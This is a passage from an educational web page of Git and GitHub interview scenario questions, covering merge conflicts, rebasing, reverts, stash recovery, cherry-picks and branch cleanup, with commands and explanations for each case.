Home / Topics / Git & GitHub / Scenario Questions
Git & GitHub

Scenario Questions

Real-world Git and GitHub situations and how a senior engineer handles them


Branching and Merging Workflows

๐ŸŽฅ Learn this hands-on with DevOps Shack โ†’ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com

Q1

You run git pull and Git stops with a merge conflict in app.py. What do you do?

Beginner

Situation read โ†’ Both you and a teammate changed the same lines. Git paused the merge and marked the file with conflict markers.

What I'd do โ†’

  1. git status to see the "both modified" files.
  2. Open the file, find <<<<<<<, =======, >>>>>>>, and decide what the final code should be. Talk to the author if the intent is unclear.
  3. Remove the markers, then git add app.py.
  4. Run the tests, then git commit (or git merge --continue).
bash
git status
git add app.py
git merge --continue

Why โ†’ Git only knows both sides changed the same hunk, not which one is right. A human has to pick, and tests prove the result.

Interview tip โ†’ Say you run tests before finishing the merge, not after.

Copy link
Q2

Your feature branch is three weeks old and main has moved a lot. Merge main in, or rebase onto it?

Intermediate

Situation read โ†’ A private, unshared branch can be rebased safely. A branch others have pulled cannot.

What I'd do โ†’

  1. If only I use the branch: git fetch origin && git rebase origin/main, resolving conflicts commit by commit.
  2. If others share it: git merge origin/main instead, so nobody has to reset.
  3. Push with git push --force-with-lease after a rebase.
  4. Run the full test suite on the result either way.

Why โ†’ Rebase gives a linear history that is easy to review. Merge preserves exact history and never rewrites commits others depend on.

Interview tip โ†’ The deciding factor is "has anyone else based work on these commits", not personal taste.

Copy link
Q3

The team argues about fast-forward merges versus merge commits on main. How do you settle it?

Beginner

Situation read โ†’ This is a policy choice, not a technical right or wrong.

What I'd do โ†’

  1. Ask what we need from history: a linear log for bisect and changelogs, or visible feature boundaries.
  2. For most product teams, pick squash merge in GitHub: one commit per PR, linear main.
  3. If we need to see feature groupings, use --no-ff merge commits.
  4. Enforce the choice in repo settings (allow only the chosen merge button) instead of relying on convention.
bash
git merge --ff-only feature     # refuses if a merge commit would be needed
git merge --no-ff feature       # always creates a merge commit

Why โ†’ A setting that cannot be bypassed ends the argument and keeps history consistent.

Interview tip โ†’ Mention that you disable the merge types you do not want in GitHub settings.

Copy link
Q4

A teammate branched from the wrong base, and their PR shows 40 unrelated commits. How do you fix it?

Intermediate

Situation read โ†’ The branch was cut from another feature branch, so the PR drags that feature's commits along.

What I'd do โ†’

  1. Identify the commits that really belong to the PR: git log --oneline origin/main..HEAD.
  2. Transplant only those onto the right base:
bash
git rebase --onto origin/main <old-base-sha> my-branch
git push --force-with-lease
  1. Confirm the PR now shows only the intended commits.

Why โ†’ --onto replays commits in the range old-base..my-branch onto a new base, leaving the unwanted commits behind.

Interview tip โ†’ git rebase --onto is the answer interviewers hope to hear for "wrong base" questions.

Copy link
Q5

Before merging, you want to see exactly what the feature branch adds compared to main. Which commands?

Beginner

Situation read โ†’ Two questions: which commits, and which changes.

What I'd do โ†’

  1. Commits only on the feature: git log --oneline main..feature.
  2. Net changes the feature introduces since it diverged: git diff main...feature (three dots).
  3. File list only: git diff --stat main...feature.

Why โ†’ Three dots compares the feature tip against the merge base, so you see only the feature's work. Two dots compares both tips and also shows whatever main gained meanwhile.

Interview tip โ†’ Explain the dot difference: it is a classic quick check.

Copy link
Q6

Halfway through a merge you realise you pulled the wrong branch. How do you back out?

Beginner

Situation read โ†’ The merge is still in progress (conflicts unresolved, no commit yet).

What I'd do โ†’

  1. git merge --abort returns the tree to the pre-merge state.
  2. Verify with git status that the working tree is clean.
  3. Merge the correct branch.

Why โ†’ --abort restores from ORIG_HEAD and the saved index. If you had uncommitted changes before starting the merge, Git may not restore them perfectly, so merge from a clean tree.

Interview tip โ†’ Add that you stash or commit before any merge or rebase.

Copy link
Q7

You keep resolving the same conflicts again and again while rebasing a long-lived branch. How do you stop?

Intermediate

Situation read โ†’ Each replayed commit hits the same hunks, and you redo the resolution every time.

What I'd do โ†’

  1. Enable rerere (reuse recorded resolution): git config --global rerere.enabled true.
  2. Resolve once; Git records the preimage and your resolution under .git/rr-cache.
  3. On later rebases or merges the same conflict is auto-resolved. Review with git diff and stage.
  4. If a recorded resolution is wrong: git rerere forget <path>.

Why โ†’ Git fingerprints the conflict text and replays your earlier answer.

Interview tip โ†’ rerere only records resolutions, it does not auto-stage them, so you still review.

Copy link
Q8

You reverted a merged feature, fixed it, and merged the branch again, but the original changes are missing. What happened?

Advanced

Situation read โ†’ Reverting a merge creates a commit that undoes the changes but leaves the original commits in history. Git thinks those commits are already merged, so a second merge brings nothing from them.

What I'd do โ†’

  1. Revert the revert on main: git revert <revert-commit-sha>. This brings the original changes back.
  2. Merge the fixed branch; only the new fix commits are added.
  3. Alternative: rebase or cherry-pick the feature commits to new SHAs on a fresh branch and open a new PR.

Why โ†’ Merge logic works on commit ancestry, not content. The reverted commits remain ancestors.

Interview tip โ†’ This is Linus's well-known "reverting a merge" caveat. Naming it shows depth.

Copy link
Q9

Two branches both regenerated package-lock.json and it conflicts every time. What's the clean approach?

Intermediate

Situation read โ†’ Lockfiles are generated, so hand-merging them is error-prone.

What I'd do โ†’

  1. Resolve package.json first (that is human-owned).
  2. Take either side of the lockfile, then regenerate it:
bash
git checkout --theirs package-lock.json
npm install
git add package-lock.json package.json
  1. Optionally register a merge driver or CI check so the lockfile is verified with npm ci.

Why โ†’ The lockfile must match the final package.json. Regenerating guarantees consistency, and npm ci in CI catches drift.

Interview tip โ†’ The same pattern applies to yarn.lock, poetry.lock, go.sum.

Copy link
Q10

During a merge you want your version of one file wholesale and theirs for another. How?

Intermediate

Situation read โ†’ Per-file decisions during a conflicted merge.

What I'd do โ†’

  1. Take our side for the file: git checkout --ours config/prod.yaml.
  2. Take their side for another: git checkout --theirs docs/guide.md.
  3. Stage both, then finish the merge.
bash
git checkout --ours config/prod.yaml
git checkout --theirs docs/guide.md
git add config/prod.yaml docs/guide.md
git merge --continue

Why โ†’ In a merge, "ours" is the branch you are on and "theirs" is the one being merged. In a rebase these are swapped.

Interview tip โ†’ Distinguish this from -X theirs, which only auto-wins on conflicting hunks while still merging the non-conflicting ones.

Copy link
Q11

You squash-merged a PR, and git branch -d feature says the branch is not fully merged. Is something wrong?

Intermediate

Situation read โ†’ Squash merge creates a new commit with different content ancestry. The original feature commits are not ancestors of main.

What I'd do โ†’

  1. Confirm the PR shows as merged on GitHub and the squash commit is in main.
  2. Delete the branch with git branch -D feature.
  3. Turn on "Automatically delete head branches" in repo settings, and run git fetch --prune locally.

Why โ†’ -d checks ancestry, and squash breaks it. Content is merged but history is not.

Interview tip โ†’ Know the trade-off: squash gives clean history but makes -d, git branch --merged and later merges from the same branch unreliable.

Copy link
Q12

One developer renamed utils.py to helpers.py while another edited utils.py. Will merge handle it?

Intermediate

Situation read โ†’ Git does not store renames; it detects them by similarity when merging.

What I'd do โ†’

  1. Merge normally. With the default ort strategy, rename detection usually applies the edit to helpers.py.
  2. Check: git status and git diff --name-status -M main...feature.
  3. If similarity is too low (heavily edited file), you get a "rename/delete" conflict. Resolve by hand and keep the new name.
  4. Tune detection if needed: git merge -X find-renames=40%.

Why โ†’ Rename detection is content-similarity based, default threshold 50%.

Interview tip โ†’ Advise doing renames in their own commit, with no content edits, so Git can track them.

Copy link
Q13

A hotfix went straight into release/2.3. How do you make sure it also reaches main?

Intermediate

Situation read โ†’ Fixes made on a release branch must flow forward, or the bug returns in the next release.

What I'd do โ†’

  1. Open a PR from release/2.3 into main (merge forward), or cherry-pick the fix with -x.
  2. Prefer the reverse in future: fix on main first, then backport to the release branch.
  3. Add a CI or checklist rule: no release-branch fix without a linked forward-port PR.
bash
git switch main
git cherry-pick -x <hotfix-sha>

Why โ†’ -x records the origin SHA in the message, making backports traceable.

Interview tip โ†’ "Fix forward first, backport second" is the policy answer most teams like.

Copy link
Q14

How do you preview the result of a merge without actually creating a commit?

Beginner

Situation read โ†’ You want to inspect the merged tree and run tests before committing.

What I'd do โ†’

  1. git merge --no-commit --no-ff feature.
  2. Build and test the working tree.
  3. Accept with git commit, or discard with git merge --abort.

Why โ†’ --no-ff ensures a merge is staged even when a fast-forward would be possible; --no-commit stops before creating the commit.

Interview tip โ†’ git merge-tree --write-tree main feature can also compute the result without touching your working tree (Git 2.38+).

Copy link
Q15

Someone asks which branches contain a particular commit, for example a security fix. How do you find out?

Beginner

Situation read โ†’ You need to confirm whether the fix has reached release branches.

What I'd do โ†’

  1. git branch -r --contains <sha> lists remote branches containing it.
  2. git tag --contains <sha> lists tags, which tells you the first release that shipped it.
  3. git describe --contains <sha> gives the nearest tag name.

Why โ†’ Containment is just ancestry: a branch contains the commit if the commit is reachable from its tip.

Interview tip โ†’ If the fix was cherry-picked, the SHA differs. Search with git log --grep "cherry picked from" or use git cherry.

Copy link
Q16

A bug appeared sometime in the last 200 commits. How do you find the culprit fast?

Intermediate

Situation read โ†’ Binary search over history needs a known good commit and a reliable test.

What I'd do โ†’

  1. Start: git bisect start, git bisect bad HEAD, git bisect good v2.1.0.
  2. Automate with a script that exits 0 for good and non-zero for bad:
bash
git bisect run ./scripts/repro.sh
git bisect reset
  1. Read the reported first bad commit and inspect it with git show.

Why โ†’ 200 commits need about 8 steps. Exit code 125 in the script tells bisect to skip an untestable commit.

Interview tip โ†’ Linear history (squash or rebase) makes bisect cleaner, since merge commits can confuse results.

Copy link
Q17

You need to merge a repo that has no common history with yours. Git refuses. What now?

Intermediate

Situation read โ†’ fatal: refusing to merge unrelated histories appears because the two repos have no shared ancestor.

What I'd do โ†’

  1. Add the other repo as a remote and fetch it.
  2. Merge deliberately:
bash
git remote add other ../other-repo
git fetch other
git merge other/main --allow-unrelated-histories
  1. Resolve add/add conflicts (README, .gitignore), then commit.

Why โ†’ The safety check exists to stop accidental merges of the wrong repo. The flag is an explicit confirmation.

Interview tip โ†’ For a cleaner layout, first move the other repo's files into a subdirectory with git filter-repo --to-subdirectory-filter.

Copy link
Q18

A merge commit looks empty in git show, but a bug slipped in through it. How do you inspect it?

Advanced

Situation read โ†’ Default git show on a merge prints a combined diff showing only conflict-resolution changes. If resolution was wrong ("evil merge"), the change lives there.

What I'd do โ†’

  1. git show --cc <merge-sha> shows only hunks that differ from all parents.
  2. Compare against each parent: git diff <merge-sha>^1 <merge-sha> and git diff <merge-sha>^2 <merge-sha>.
  3. git show -m --first-parent <merge-sha> shows the diff against the first parent only.
  4. Rebuild the merge to compare: git checkout <merge-sha>^1 && git merge <merge-sha>^2.

Why โ†’ Conflict resolutions are not attributed to either side, so you have to compare against each parent to see what the merger did.

Interview tip โ†’ This is why many teams prefer squash merges for features: the PR diff is the whole change.

Copy link
Q19

You must combine two repositories into a monorepo and keep full history for both. How?

Advanced

Situation read โ†’ Copying files loses history and blame. We want a real merge.

What I'd do โ†’

  1. In each source repo, rewrite history into a subdirectory (work on a fresh clone):
bash
git clone svc-a svc-a-rewrite && cd svc-a-rewrite
git filter-repo --to-subdirectory-filter services/svc-a
  1. In the monorepo: git remote add svc-a ../svc-a-rewrite && git fetch svc-a.
  2. git merge svc-a/main --allow-unrelated-histories -m "Import svc-a".
  3. Repeat for the other repo, then archive the old repos.

Why โ†’ Rewriting paths first prevents file collisions and keeps git log -- services/svc-a and blame working.

Interview tip โ†’ Mention git subtree add as the simpler option when path-prefixed history is enough.

Copy link
Q20

Your repo has 300 stale branches locally and remotely. How do you clean up safely?

Beginner

Situation read โ†’ Merged branches are safe to delete, others need a check.

What I'd do โ†’

  1. git fetch --prune to drop stale remote-tracking refs.
  2. List merged local branches: git branch --merged main, and delete with git branch -d.
  3. Delete a remote branch: git push origin --delete old-branch.
  4. Turn on auto-delete of head branches in GitHub and set fetch.prune true.
bash
git branch --merged main | grep -vE '^\*|main|develop' | xargs -r git branch -d

Why โ†’ -d refuses unmerged branches, giving a safety net.

Interview tip โ†’ Squash-merged branches will not show in --merged; cross-check with the closed PR list.

Copy link
Q21

You are mid-feature and an urgent bug needs a fix on another branch. You don't want to stash or commit half-done work. What do you do?

Intermediate

Situation read โ†’ Switching branches would disturb your working tree.

What I'd do โ†’

  1. Create a second working directory on the same repo:
bash
git worktree add ../hotfix-wt -b hotfix/login origin/main
cd ../hotfix-wt
  1. Fix, test, push from there.
  2. Clean up: git worktree remove ../hotfix-wt.

Why โ†’ Worktrees share one object database, so there is no second clone and no stash juggling. Each branch can only be checked out in one worktree at a time.

Interview tip โ†’ Worktrees are also great for running a long test suite on one branch while coding on another.

Copy link
Q22

A mass reformat commit (Prettier, Black) ruined git blame. How do you recover useful blame?

Intermediate

Situation read โ†’ Blame now attributes every line to the formatting commit.

What I'd do โ†’

  1. Put the formatting commit SHA in .git-blame-ignore-revs at the repo root.
  2. Tell local Git to use it: git config blame.ignoreRevsFile .git-blame-ignore-revs.
  3. GitHub's blame view reads that file automatically, no setup needed.
  4. Ad hoc: git blame --ignore-rev <sha> file.py.

Why โ†’ Blame skips the listed commits and attributes lines to the previous meaningful change.

Interview tip โ†’ Do formatting changes as one isolated commit so the ignore list stays short.

Copy link
Q23

Conflict markers are hard to understand because you cannot see the original text. How do you get more context?

Intermediate

Situation read โ†’ The default conflict style shows only two sides.

What I'd do โ†’

  1. Switch to the three-way style: git config --global merge.conflictStyle zdiff3 (Git 2.35+; use diff3 on older versions).
  2. Re-create markers in the current file: git checkout --conflict=zdiff3 -- file.
  3. Now the middle ||||||| section shows the common ancestor, so you see what each side changed.
  4. Use git mergetool or an IDE three-pane view for large conflicts.

Why โ†’ Knowing the base tells you who changed what, which is often the whole puzzle.

Interview tip โ†’ zdiff3 also trims common lines from the markers, making them shorter than diff3.

Copy link
Q24

You abandoned an old branch's approach, but want Git to record it as merged so it never resurfaces. What do you do?

Advanced

Situation read โ†’ You want ancestry without content: a merge that keeps our tree unchanged.

What I'd do โ†’

  1. On main: git merge -s ours old-approach -m "Mark old-approach as merged; superseded".
  2. The result tree equals main's, but old-approach commits are now ancestors.
  3. Future merges of that branch bring in only new commits.

Why โ†’ -s ours is a strategy that ignores the other side's content entirely. It is different from -X ours, which only prefers our side in conflicts.

Interview tip โ†’ Use sparingly; it hides discarded work. Document the reason in the message.

Copy link
Q25

You forked a repo and need to keep your fork's main in sync with upstream. How?

Beginner

Situation read โ†’ Your fork has only origin; you need the original as a second remote.

What I'd do โ†’

  1. git remote add upstream https://github.com/ORG/REPO.git.
  2. git fetch upstream.
  3. git switch main && git merge --ff-only upstream/main (or git rebase upstream/main).
  4. git push origin main.

Or use the GitHub UI "Sync fork" button, or gh repo sync OWNER/fork.

Why โ†’ --ff-only guarantees your fork's main stays a pure mirror and fails loudly if you committed there by mistake.

Interview tip โ†’ Keep your work on topic branches and never commit to your fork's main.

Copy link

Undoing Mistakes

๐ŸŽฅ Learn this hands-on with DevOps Shack โ†’ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com

Q26

You committed on main when you meant to be on a feature branch. Nothing is pushed. Fix it.

Beginner

Situation read โ†’ The commit exists locally only, so history can be moved freely.

What I'd do โ†’

  1. Create the branch at the current commit: git branch feature/login.
  2. Move main back: git reset --hard origin/main (or HEAD~1 for one commit).
  3. git switch feature/login; your commit is intact.

Why โ†’ Branches are just pointers. Creating a new pointer first means the reset cannot lose anything.

Interview tip โ†’ Always create the safety branch before running reset --hard.

Copy link
Q27

You made a typo in your last commit message and have not pushed.

Beginner

Situation read โ†’ Only the message needs change.

What I'd do โ†’

  1. git commit --amend -m "Fix login redirect for SSO users".
  2. To also add a forgotten file: git add file && git commit --amend --no-edit.

Why โ†’ Amend replaces the last commit with a new one (new SHA). That is safe only while nobody else has the old one.

Interview tip โ†’ If it is already pushed to a shared branch, do not amend; add a follow-up commit instead.

Copy link
Q28

A bad commit is already on shared main. Others have pulled it. How do you undo it?

Intermediate

Situation read โ†’ Rewriting shared history would break everyone's clones.

What I'd do โ†’

  1. git revert <bad-sha> creates a new commit that inverts the change.
  2. Push normally: git push origin main.
  3. For several commits: git revert --no-commit A..B && git commit.
  4. Open a ticket to fix the root cause properly, then reintroduce the change.

Why โ†’ Revert adds history instead of removing it, so every clone stays compatible.

Interview tip โ†’ "Revert shared, reset private" is the one-line rule.

Copy link
Q29

You ran git reset --hard and lost uncommitted-then-committed work. Can you get it back?

Intermediate

Situation read โ†’ If the work was ever committed, the commits still exist as unreachable objects and the reflog records where HEAD was.

What I'd do โ†’

  1. git reflog and find the entry before the reset, such as HEAD@{2}.
  2. Restore: git reset --hard HEAD@{2}, or safer, git branch rescue HEAD@{2}.
  3. Verify with git log rescue.

Why โ†’ Reflog entries last 90 days for reachable and 30 days for unreachable commits by default.

Interview tip โ†’ Work that was never staged or committed is gone; reset --hard cannot be undone for those changes.

Copy link
Q30

You need to revert a merge commit on main. git revert says "commit is a merge but no -m option was given".

Intermediate

Situation read โ†’ A merge has two parents, so Git cannot know which side's changes to undo.

What I'd do โ†’

  1. Pick the mainline parent, which is normally parent 1 (the branch merged into): git revert -m 1 <merge-sha>.
  2. Push the revert commit.
  3. Remember the re-merge caveat: to reapply the feature later, revert this revert first.

Why โ†’ -m 1 means "keep the first-parent line, undo what the second parent brought in".

Interview tip โ†’ Check parents with git show --no-patch --format=%P <sha>.

Copy link
Q31

You deleted a local branch with unmerged work by mistake.

Beginner

Situation read โ†’ Deleting a branch removes the pointer, not the commits.

What I'd do โ†’

  1. Git printed the tip SHA when you deleted: Deleted branch x (was 3f9a1c2). Use it: git branch x 3f9a1c2.
  2. Otherwise git reflog and find the last commit on that branch.
  3. Or check if the remote still has it: git branch -r.

Why โ†’ Objects stay in the repo until garbage collection prunes them.

Interview tip โ†’ Recovery depends on acting before gc prunes, usually weeks away.

Copy link
Q32

After git stash pop you got conflicts. Is your stash lost?

Intermediate

Situation read โ†’ When pop conflicts, Git keeps the stash entry instead of dropping it.

What I'd do โ†’

  1. git status to see conflicted files and resolve them like a merge.
  2. git add the resolved files, then git reset to unstage if you want them as plain changes.
  3. Drop the stash only when satisfied: git stash drop.
  4. To retry on a clean tree: git checkout . && git stash pop.

Why โ†’ Pop = apply + drop, but drop is skipped on failure, which protects you.

Interview tip โ†’ Prefer git stash apply for risky cases; drop manually after verifying.

Copy link
Q33

You stashed changes but your new, untracked files stayed behind.

Beginner

Situation read โ†’ Plain git stash saves only tracked changes.

What I'd do โ†’

  1. git stash push -u -m "wip: payment form" includes untracked files.
  2. Add -a to include ignored files too (rarely needed).
  3. List with git stash list, restore with git stash pop.

Why โ†’ Untracked files are not in the index or HEAD, so they must be requested explicitly.

Interview tip โ†’ Always name stashes with -m. stash@{3} means nothing a week later.

Copy link
Q34

You ran git add . and staged a file you didn't want to commit.

Beginner

Situation read โ†’ Only the index is wrong; the working file is fine.

What I'd do โ†’

  1. git restore --staged secrets.env unstages it and keeps your edits.
  2. Add it to .gitignore if it must never be committed.
  3. git status to confirm.

Why โ†’ restore --staged copies HEAD's version into the index. On older Git, git reset HEAD file does the same.

Interview tip โ†’ Review with git diff --staged before every commit.

Copy link
Q35

You want to discard local edits to one file and go back to the last commit.

Beginner

Situation read โ†’ Working tree changes are unwanted.

What I'd do โ†’

  1. git restore path/to/file, or git restore . for everything.
  2. For untracked files, preview first: git clean -nd, then git clean -fd.

Why โ†’ These changes were never committed, so this cannot be undone. Hence preview with -n.

Interview tip โ†’ Mention that git stash is the non-destructive alternative if you are unsure.

Copy link
Q36

You made several commits in detached HEAD state and then switched branches.

Beginner

Situation read โ†’ Git warned you about leaving commits behind. They are unreachable from any branch.

What I'd do โ†’

  1. git reflog and find the last commit made in detached state.
  2. git branch rescued-work <sha> (or git switch -c rescued-work <sha>).
  3. Merge or cherry-pick as needed.

Why โ†’ Reflog tracks HEAD movement even without branches.

Interview tip โ†’ If still in detached HEAD, just run git switch -c new-branch before leaving.

Copy link
Q37

You committed a 500 MB video locally, not pushed yet. How do you remove it from the commit?

Beginner

Situation read โ†’ If it's in the last commit only, amend. If it's earlier, rewrite.

What I'd do โ†’

  1. Last commit: git rm --cached video.mp4 && git commit --amend --no-edit.
  2. Earlier commit: git rebase -i origin/main, mark the commit edit, remove the file, git commit --amend, git rebase --continue.
  3. Add *.mp4 to .gitignore or track via Git LFS.
  4. Confirm: git log --stat origin/main..HEAD.

Why โ†’ The blob is only in your local repo and gets collected after reflog expiry, so pushing never exposes it.

Interview tip โ†’ Run git count-objects -vH and git gc --prune=now if you want it gone immediately.

Copy link
Q38

A rebase went badly and your branch is a mess. How do you return to the state before the rebase?

Intermediate

Situation read โ†’ Rebase rewrites commits, but the originals still exist.

What I'd do โ†’

  1. If still in progress: git rebase --abort.
  2. If finished: git reflog and find the entry rebase (start); take the one just before it.
  3. git reset --hard HEAD@{N}, or use ORIG_HEAD straight after the rebase: git reset --hard ORIG_HEAD.

Why โ†’ ORIG_HEAD is set to the previous tip by rebase, merge and reset.

Interview tip โ†’ ORIG_HEAD is overwritten by the next such command, so act immediately.

Copy link
Q39

One commit mixes a refactor and a bug fix. Reviewers want them split.

Intermediate

Situation read โ†’ You need two commits from one, with hunks assigned correctly.

What I'd do โ†’

  1. git rebase -i HEAD~3, mark the commit edit.
  2. git reset HEAD^ to unstage it, leaving changes in the tree.
  3. git add -p to stage the refactor hunks, commit, then stage and commit the fix.
  4. git rebase --continue.

Why โ†’ Mixed reset keeps the changes but drops the commit, letting you recommit selectively.

Interview tip โ†’ Small, single-purpose commits make bisect and revert far cheaper.

Copy link
Q40

Your local main is a mess after experiments. You want it to exactly match the remote.

Beginner

Situation read โ†’ You accept losing all local-only commits and changes on this branch.

What I'd do โ†’

  1. Keep a safety net: git branch backup-main.
  2. git fetch origin.
  3. git reset --hard origin/main.
  4. Remove stray files: git clean -fd (after -n).

Why โ†’ Fetch updates the remote-tracking ref without touching your branch. Reset then moves your branch and tree to it.

Interview tip โ†’ git pull would try to merge your mess; reset is the clean tool here.

Copy link
Q41

A release introduced a regression from five consecutive commits. How do you revert them as one change?

Intermediate

Situation read โ†’ You want one clean revert rather than five.

What I'd do โ†’

  1. Find the range: git log --oneline -8.
  2. git revert --no-commit OLDEST^..NEWEST applies all inverses to the index, newest first.
  3. Fix conflicts if later commits overlap, then git commit -m "Revert checkout rewrite (INC-4821)".
  4. Push and open a PR for review.

Why โ†’ --no-commit lets you bundle the reverts and describe them with the incident reference.

Interview tip โ†’ Alternative: revert the single squash or merge commit that brought the work in.

Copy link
Q42

A teammate force-pushed to main and your commits vanished from the remote. How do you recover?

Advanced

Situation read โ†’ The remote branch pointer moved; the old commits still exist in clones and, for a while, on the server.

What I'd do โ†’

  1. Check your clone: git reflog show origin/main shows the old remote tip.
  2. Restore the branch pointer: git push origin <old-sha>:refs/heads/main --force-with-lease. Coordinate first.
  3. On GitHub, the push activity or Events API shows the previous SHA: gh api repos/ORG/REPO/events.
  4. Add branch protection to block force pushes to main.

Why โ†’ Anyone with an older clone holds the objects, so the data is rarely truly lost.

Interview tip โ†’ Use --force-with-lease, never plain --force, and block both on protected branches.

Copy link
Q43

You think commits were lost and the reflog entry has expired. Can anything still be found?

Advanced

Situation read โ†’ If gc has not pruned the objects yet, they exist as dangling commits even without reflog entries.

What I'd do โ†’

  1. git fsck --lost-found --no-reflogs lists dangling commits and blobs.
  2. Inspect: git show <sha> or git log -1 <sha>.
  3. Rescue: git branch recovered <sha>.
  4. Stop all git gc activity: git config gc.auto 0.

Why โ†’ Pruning happens only after gc.pruneExpire (default 2 weeks) for unreachable objects.

Interview tip โ†’ Also ask whether a teammate, CI runner or fork has a copy.

Copy link
Q44

You edited a file with a debug print and a real fix. You want to commit only the fix.

Beginner

Situation read โ†’ Two changes live in one file.

What I'd do โ†’

  1. git add -p file.py.
  2. Answer y to the fix hunk, n to the debug hunk, s to split a hunk, e to edit it by hand.
  3. git diff --staged to verify, then commit.
  4. Remove the debug line afterwards.

Why โ†’ Patch mode stages hunks, not whole files, so commits stay focused.

Interview tip โ†’ Mention git commit -p as a shortcut.

Copy link
Q45

You need to stash only two files and keep the rest of your changes in place.

Intermediate

Situation read โ†’ Default stash grabs everything.

What I'd do โ†’

  1. git stash push -m "wip: parser" -- src/parser.py src/lexer.py.
  2. Or interactively: git stash push -p.
  3. To stash unstaged work but keep what is staged: git stash push --keep-index.

Why โ†’ Pathspecs after -- limit the stash to those files (Git 2.13+).

Interview tip โ†’ Know --keep-index for testing exactly what you are about to commit.

Copy link
Q46

You made four messy "wip" commits locally. You want a single clean commit before pushing.

Intermediate

Situation read โ†’ Local, unpushed history can be collapsed.

What I'd do โ†’

  1. git reset --soft HEAD~4 moves the branch back but leaves all changes staged.
  2. git commit -m "Add retry logic to payment client".
  3. Alternative: git rebase -i HEAD~4 and mark later commits squash or fixup.

Why โ†’ Soft reset only moves the branch pointer; index and working tree stay as they are.

Interview tip โ†’ git commit --fixup <sha> plus git rebase -i --autosquash is the polished workflow.

Copy link
Q47

You committed .env earlier and want Git to stop tracking it but keep the local copy.

Beginner

Situation read โ†’ .gitignore only affects untracked files, so a tracked file must be removed from the index.

What I'd do โ†’

  1. git rm --cached .env.
  2. Add .env to .gitignore.
  3. Commit: git commit -m "Stop tracking .env".
  4. If it was pushed, treat contents as leaked: rotate every secret in it.

Why โ†’ Removing from the index does not remove it from history. Old commits still hold the file.

Interview tip โ†’ Rotation, not deletion, is what actually fixes a leaked secret.

Copy link
Q48

You merged locally and then realised it was wrong. It has not been pushed.

Intermediate

Situation read โ†’ A local merge commit can simply be dropped.

What I'd do โ†’

  1. git reset --hard ORIG_HEAD returns to the pre-merge tip if you act right after.
  2. Otherwise: git reset --hard HEAD^1, which moves back to the first parent.
  3. Check with git log --oneline --graph -5.

Why โ†’ The merge is only a commit on your local branch, and nobody else has it.

Interview tip โ†’ If already pushed, use git revert -m 1 instead.

Copy link
Q49

A bug fix commit on main must be reverted from release/3.0, but later commits touched the same lines.

Advanced

Situation read โ†’ A plain revert will conflict because the surrounding code changed.

What I'd do โ†’

  1. git switch release/3.0 && git revert <sha>.
  2. Resolve conflicts using zdiff3 markers, comparing against the original commit's diff: git show <sha>.
  3. If dependent commits are required, decide: revert those too, or fix forward with a targeted patch.
  4. Run the release test suite, then open a PR to the release branch.

Why โ†’ Revert is a reverse cherry-pick, so it is only as clean as the surrounding context.

Interview tip โ†’ Say you would ask whether the release needs the revert at all, or a smaller targeted fix.

Copy link
Q50

You dropped a stash entry accidentally and need it back.

Advanced

Situation read โ†’ A dropped stash is an unreachable commit; Git printed its SHA when you dropped or popped it.

What I'd do โ†’

  1. If you saw Dropped refs/stash@{0} (abc123...), run git stash apply abc123.
  2. Otherwise search dangling commits:
bash
git fsck --no-reflogs --unreachable | awk '/commit/ {print $3}' \
  | xargs git log --no-walk --format='%h %ad %s' --date=short
  1. Look for "WIP on " messages and apply the right one with git stash apply <sha>.

Why โ†’ A stash is a merge commit with two or three parents; it stays until pruned.

Interview tip โ†’ Do this fast, and avoid running git gc.

Copy link

Rebase, Cherry-pick and History Rewriting

๐ŸŽฅ Learn this hands-on with DevOps Shack โ†’ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com

Q51

Your PR branch has ten commits like "wip", "fix typo", "oops". How do you clean it up before review?

Beginner

Situation read โ†’ Private, unreviewed history can be rewritten. Reviewers want a readable story.

What I'd do โ†’

  1. git rebase -i origin/main.
  2. Keep the first meaningful commit as pick; change the noise commits to squash (merge messages) or fixup (discard messages).
  3. Rewrite the final messages in the editor.
  4. git push --force-with-lease.

Why โ†’ One logical commit per change makes review, bisect and revert simple.

Interview tip โ†’ Say you only rewrite commits nobody else has based work on.

Copy link
Q52

You want the database migration commit to come before the code that uses it.

Beginner

Situation read โ†’ Commit order is wrong, though the tree content is fine.

What I'd do โ†’

  1. git rebase -i HEAD~5.
  2. Move the pick line for the migration above the dependent commit.
  3. Resolve conflicts if both touch the same files, then git rebase --continue.
  4. Run tests at each step: git rebase -i --exec "make test" HEAD~5.

Why โ†’ Each commit should build and pass tests on its own, so bisect stays reliable.

Interview tip โ†’ Reordering conflicts are a sign that the commits are not truly independent.

Copy link
Q53

A critical fix on main must go to the release/4.1 branch only.

Beginner

Situation read โ†’ You need one commit, not a merge of all of main.

What I'd do โ†’

  1. git switch release/4.1.
  2. git cherry-pick -x <sha>.
  3. Run the release pipeline, then push or open a PR.

Why โ†’ Cherry-pick re-applies the diff as a new commit; -x records the original SHA in the message for traceability.

Interview tip โ†’ Fix on main first so the fix is never lost in the next release.

Copy link
Q54

You must backport a feature made of 6 commits, including one merge commit.

Intermediate

Situation read โ†’ Cherry-pick of a merge commit needs a mainline choice, and ranges skip merges by default.

What I'd do โ†’

  1. For plain commits: git cherry-pick -x A^..F.
  2. For a merge commit: git cherry-pick -m 1 <merge-sha> applies the diff against the first parent.
  3. Often simpler: cherry-pick the single squash commit if the PR was squashed.
  4. If it stalls: fix, git add, git cherry-pick --continue, or --abort.

Why โ†’ A merge has no single diff; -m chooses which parent to diff against.

Interview tip โ†’ Squash-merged PRs make backports one-liners.

Copy link
Q55

Branch B was built on top of branch A. A was squash-merged into main, and now B shows A's commits again.

Intermediate

Situation read โ†’ The squash commit has new content ancestry, so Git cannot tell A's old commits are already in main.

What I'd do โ†’

  1. Note A's last commit: git log --oneline A.
  2. Replay only B's own commits:
bash
git fetch origin
git rebase --onto origin/main <A-tip-sha> B
git push --force-with-lease
  1. The PR now contains only B's changes.

Why โ†’ --onto takes the range A-tip..B and replants it on main.

Interview tip โ†’ This is the daily pain of stacked branches with squash merging.

Copy link
Q56

During review you get ten small change requests on old commits. How do you apply them cleanly?

Intermediate

Situation read โ†’ You want fixes folded into the right commits, not a pile of "address review" commits.

What I'd do โ†’

  1. For each fix: git add -p && git commit --fixup <target-sha>.
  2. When done: git rebase -i --autosquash origin/main.
  3. Enable permanently: git config --global rebase.autoSquash true.
  4. Push with --force-with-lease; mention it in the PR so reviewers re-check.

